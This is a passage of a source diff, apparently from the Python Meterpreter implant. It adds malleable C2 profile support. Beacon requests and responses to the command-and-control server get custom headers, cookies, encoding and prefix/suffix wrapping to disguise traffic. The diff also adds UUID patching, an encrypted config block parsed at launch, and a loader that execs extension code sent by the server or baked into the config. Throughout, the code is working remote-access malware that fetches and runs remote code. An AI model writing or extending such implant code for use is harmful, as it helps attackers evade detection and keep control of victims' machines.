'=' + rendered + existing = headers.get('Cookie') + headers['Cookie'] = existing + '; ' + cookie_val if existing else cookie_val + return headers + + def _get_uuid(self): + # Prefer the on-the-fly C2 UUID; fall back to the one in the URL. + if self.c2_uuid: + return self.c2_uuid + match = re.match(r'https?://[^/]+/(.*?)/?$', self.url) + if match: + extracted = match.group(1).split('/')[-1] + return extracted + return '' def _get_packet(self): if self._first_packet: @@ -1072,26 +1225,55 @@ def _get_packet(self): self._first_packet = None return packet packet = None - xor_key = None url_h = None - request = urllib.Request(self.url, None, self._http_request_headers) + + if self.c2_get: + uuid = self._get_uuid() + url = self._build_request_url(self.c2_get, uuid) + headers = self._build_request_headers(self.c2_get, uuid) + debug_print('[GET] uuid=%r url=%s headers=%r' % (uuid, url, headers)) + else: + url = self._non_c2_url() + headers = self._http_request_headers + debug_print('[GET] (non-c2) url=%s' % url) + + request = urllib.Request(url, None, headers) urlopen_kwargs = {} if sys.version_info > (2, 6): urlopen_kwargs['timeout'] = self.communication_timeout try: url_h = urllib.urlopen(request, **urlopen_kwargs) if url_h.code == 200: - packet = url_h.read() + raw_response = url_h.read() + debug_hexdump('[GET] raw response body', raw_response) + # Strip C2 profile prefix/suffix from response if configured + if self.c2_get: + prefix_skip = self.c2_get.get('prefix_skip', 0) + suffix_skip = self.c2_get.get('suffix_skip', 0) + end = len(raw_response) - suffix_skip if suffix_skip else len(raw_response) + raw_response = raw_response[prefix_skip:end] + debug_print('[GET] after strip prefix_skip=%d suffix_skip=%d' % (prefix_skip, suffix_skip)) + debug_hexdump('[GET] stripped (pre-decode)', raw_response) + enc_in = self.c2_get.get('enc_inbound', C2_ENCODING_NONE) + if enc_in != C2_ENCODING_NONE: + raw_response = self._c2_decode(raw_response, enc_in) + debug_hexdump('[GET] decoded (enc_inbound=%d)' % enc_in, raw_response) + + packet = raw_response if len(packet) < PACKET_HEADER_SIZE: + debug_print('[GET] packet too short (%d < %d), discarding' % (len(packet), PACKET_HEADER_SIZE)) packet = None # looks corrupt else: xor_key = struct.unpack('BBBB', packet[:PACKET_XOR_KEY_SIZE]) header = xor_bytes(xor_key, packet[:PACKET_HEADER_SIZE]) pkt_length = struct.unpack('>I', header[PACKET_LENGTH_OFF:PACKET_LENGTH_OFF + PACKET_LENGTH_SIZE])[0] - 8 if len(packet) != (pkt_length + PACKET_HEADER_SIZE): + debug_print('[GET] length mismatch: hdr says %d, have %d, discarding' % (pkt_length + PACKET_HEADER_SIZE, len(packet))) packet = None # looks corrupt - except: - debug_traceback('[-] failure to receive packet from ' + self.url) + else: + debug_print('[GET] valid packet, len=%d' % len(packet)) + except Exception as e: + debug_traceback('[-] failure to receive packet from ' + url) if not packet: if url_h and url_h.code == 200: @@ -1106,7 +1288,23 @@ def _get_packet(self): return packet def _send_packet(self, packet): - request = urllib.Request(self.url, packet, self._http_request_headers) + if self.c2_post: + uuid = self._get_uuid() + url = self._build_request_url(self.c2_post, uuid) + headers = self._build_request_headers(self.c2_post, uuid) + # Encode the packet based on C2 profile encoding flags + body = self._c2_encode(packet, self.c2_post.get('enc_outbound', C2_ENCODING_NONE)) + # Wrap with prefix/suffix + prefix = self.c2_post.get('prefix') or b'' + suffix = self.c2_post.get('suffix') or b'' + if prefix or suffix: + body = prefix + body + suffix + else: + url = self._non_c2_url() + headers = self._http_request_headers + body = packet + + request = urllib.Request(url, body, headers) urlopen_kwargs = {} if sys.version_info > (2, 6): urlopen_kwargs['timeout'] = self.communication_timeout @@ -1114,12 +1312,18 @@ def _send_packet(self, packet): response = url_h.read() def patch_uuid(self, new_uuid): - match = re.match(r'https?://[^/]+(/.*$)', self.url) - if match is None: - return False - self.url = self.url[:match.span(1)[0]] + '/' + new_uuid + # Like metsrv request_core_patch_uuid: only swap the UUID. The URL is + # rebuilt from the (untouched) base each request, so the base path / + # LURI and any cookie/header/get-param placement stay intact. + self.c2_uuid = new_uuid return True + def _non_c2_url(self): + # No C2 profile: rebuild base/ every request (metsrv generate_uri + # equivalent) so a patched UUID is honoured without mutating self.url. + base = self.url.rstrip('/').rsplit('/', 1)[0] + return base + '/' + self._get_uuid() + def tlv_pack_transport_group(self): trans_group = super(HttpTransport, self).tlv_pack_transport_group() if self.user_agent: @@ -1519,10 +1723,15 @@ def _core_native_arch(self, request, response): def _core_patch_uuid(self, request, response): if not isinstance(self.transport, HttpTransport): + debug_print('[PATCH_UUID] transport is not HttpTransport (%r), ignoring' % type(self.transport).__name__) return ERROR_FAILURE, response - new_uuid = packet_get_tlv(request, TLV_TYPE_C2_UUID)['value'] - if not self.transport.patch_uuid(new_uuid): + uuid_tlv = packet_get_tlv(request, TLV_TYPE_C2_UUID) + new_uuid = uuid_tlv.get('value') + debug_print('[PATCH_UUID] old c2_uuid=%r -> new=%r' % (self.transport.c2_uuid, new_uuid)) + if not new_uuid or not self.transport.patch_uuid(new_uuid): + debug_print('[PATCH_UUID] patch failed (new_uuid=%r)' % new_uuid) return ERROR_FAILURE, response + debug_print('[PATCH_UUID] patched; c2_uuid now=%r' % self.transport.c2_uuid) return ERROR_SUCCESS, response def _core_negotiate_tlv_encryption(self, request, response): @@ -1539,13 +1748,11 @@ def _core_negotiate_tlv_encryption(self, request, response): debug_print('[*] finished negotiating TLV encryption') return ERROR_SUCCESS, response - def _core_loadlib(self, request, response): - data_tlv = packet_get_tlv(request, TLV_TYPE_DATA) - if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: - return ERROR_FAILURE, response - + def load_extension(self, data): + """Exec extension source bytes in the meterpreter symbol namespace. + Returns the libname that registered itself (or None).""" libname = '???' - match = re.search(r'^meterpreter\.register_extension\(\'([a-zA-Z0-9]+)\'\)$', str(data_tlv['value']), re.MULTILINE) + match = re.search(r'^meterpreter\.register_extension\(\'([a-zA-Z0-9]+)\'\)$', str(data), re.MULTILINE) if match is not None: libname = match.group(1) @@ -1553,8 +1760,15 @@ def _core_loadlib(self, request, response): symbols_for_extensions = {'meterpreter': self} symbols_for_extensions.update(EXPORTED_SYMBOLS) i = code.InteractiveInterpreter(symbols_for_extensions) - i.runcode(compile(data_tlv['value'], 'ext_server_' + libname + '.py', 'exec')) - extension_name = self.last_registered_extension + i.runcode(compile(data, 'ext_server_' + libname + '.py', 'exec')) + return self.last_registered_extension + + def _core_loadlib(self, request, response): + data_tlv = packet_get_tlv(request, TLV_TYPE_DATA) + if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: + return ERROR_FAILURE, response + + extension_name = self.load_extension(data_tlv['value']) if extension_name: check_extension = lambda x: x.startswith(extension_name) @@ -1722,6 +1936,8 @@ def _core_channel_tell(self, request, response): def create_response(self, request): response = struct.pack('>I', PACKET_TYPE_RESPONSE) commd_id_tlv = packet_get_tlv(request, TLV_TYPE_COMMAND_ID) + debug_hexdump('[REQ] incoming packet (post-decrypt TLVs)', request) + debug_print('[REQ] command id=%r name=%r' % (commd_id_tlv.get('value'), cmd_id_to_string(commd_id_tlv.get('value')) if commd_id_tlv else None)) response += tlv_pack(commd_id_tlv) response += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8'))) @@ -1756,6 +1972,43 @@ def create_response(self, request): debug_print("[*] sending response packet") return response + tlv_pack(TLV_TYPE_RESULT, result) +def parse_config_block(raw): + config_bytes = decrypt_packet(raw) + + config = {} + + uuid_tlv = packet_get_tlv(config_bytes, TLV_TYPE_UUID) + config['uuid'] = uuid_tlv.get('value', b'\x00' * 16) + + guid_tlv = packet_get_tlv(config_bytes, TLV_TYPE_SESSION_GUID) + config['session_guid'] = guid_tlv.get('value', b'\x00' * 16) + + expiry_tlv = packet_get_tlv(config_bytes, TLV_TYPE_SESSION_EXPIRY) + config['session_expiry'] = expiry_tlv.get('value', SESSION_EXPIRATION_TIMEOUT) + + debug_tlv = packet_get_tlv(config_bytes, TLV_TYPE_DEBUG_LOG) + config['debug_log'] = debug_tlv.get('value') + + key_tlv = packet_get_tlv(config_bytes, TLV_TYPE_SYM_KEY) + config['sym_key'] = key_tlv.get('value') + + transports = [] + for c2_tlv in packet_enum_tlvs(config_bytes, TLV_TYPE_C2): + transport = Transport.from_request(c2_tlv['value']) + transports.append(transport) + config['transports'] = transports + + extensions = [] + for ext_tlv in packet_enum_tlvs(config_bytes, TLV_TYPE_EXTENSION): + data_tlv = packet_get_tlv(ext_tlv['value'], TLV_TYPE_DATA) + if (data_tlv.get('type', 0) & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: + continue + data = data_tlv.get('value') + extensions.append(data) if data else None + config['extensions'] = extensions + + return config + class AES_CBC(object): nrs = {16: 10, 24: 12, 32: 14} S = [ @@ -2029,6 +2282,7 @@ def encrypt(self, pt): l = 256 - len(h) - len(pt) - len(d) p = os.urandom(512).replace(struct.pack('B', 0), struct.pack('')) return self._i2b(pow(self.b2i(h + p[:l] + d + pt), e, m)) +# PATCH-SETUP-ENCRYPTION # _try_to_fork = TRY_TO_FORK and hasattr(os, 'fork') if not _try_to_fork or (_try_to_fork and os.fork() == 0): @@ -2038,12 +2292,34 @@ def encrypt(self, pt): except OSError: pass - if HTTP_CONNECTION_URL and has_urllib: - transport = HttpTransport(HTTP_CONNECTION_URL, proxy=HTTP_PROXY, user_agent=HTTP_USER_AGENT, - http_host=HTTP_HOST, http_referer=HTTP_REFERER, http_cookie=HTTP_COOKIE) - else: - # PATCH-SETUP-STAGELESS-TCP-SOCKET # - transport = TcpTransport.from_socket(s) + config = parse_config_block(base64.b64decode(CONFIG_BLOCK)) + PAYLOAD_UUID = binascii.b2a_hex(config['uuid']).decode('UTF-8') + SESSION_GUID = binascii.b2a_hex(config['session_guid']).decode('UTF-8') + if config.get('debug_log'): + DEBUGGING = True + DEBUGGING_LOG_FILE_PATH = config['debug_log'] + logging.basicConfig(level=logging.DEBUG) + if DEBUGGING_LOG_FILE_PATH: + _dbg_fh = logging.FileHandler(DEBUGGING_LOG_FILE_PATH) + _dbg_fh.setLevel(logging.DEBUG) + logging.getLogger().addHandler(_dbg_fh) + transport = config['transports'][0] + # PATCH-SETUP-STAGELESS-TCP-SOCKET # + # For staged/stageless TCP payloads where the socket `s` is already + # established (by the stager or by the patched code above), bind it + # to the transport instead of reconnecting. + if isinstance(transport, TcpTransport) and 's' in globals(): + transport.socket = s met = PythonMeterpreter(transport) - # PATCH-SETUP-TRANSPORTS # + met.session_expiry_time = config['session_expiry'] + met.session_expiry_end = time.time() + config['session_expiry'] + for t in config['transports'][1:]: + met.transports.append(t) + # Hot-load any extensions baked into the config block (EXTENSIONS=) + # before opening the C2 session, so the framework sees them at connect. + for ext_data in config.get('extensions', []): + try: + met.load_extension(ext_data) + except Exception: + debug_traceback('[-] failed to load baked extension') met.run()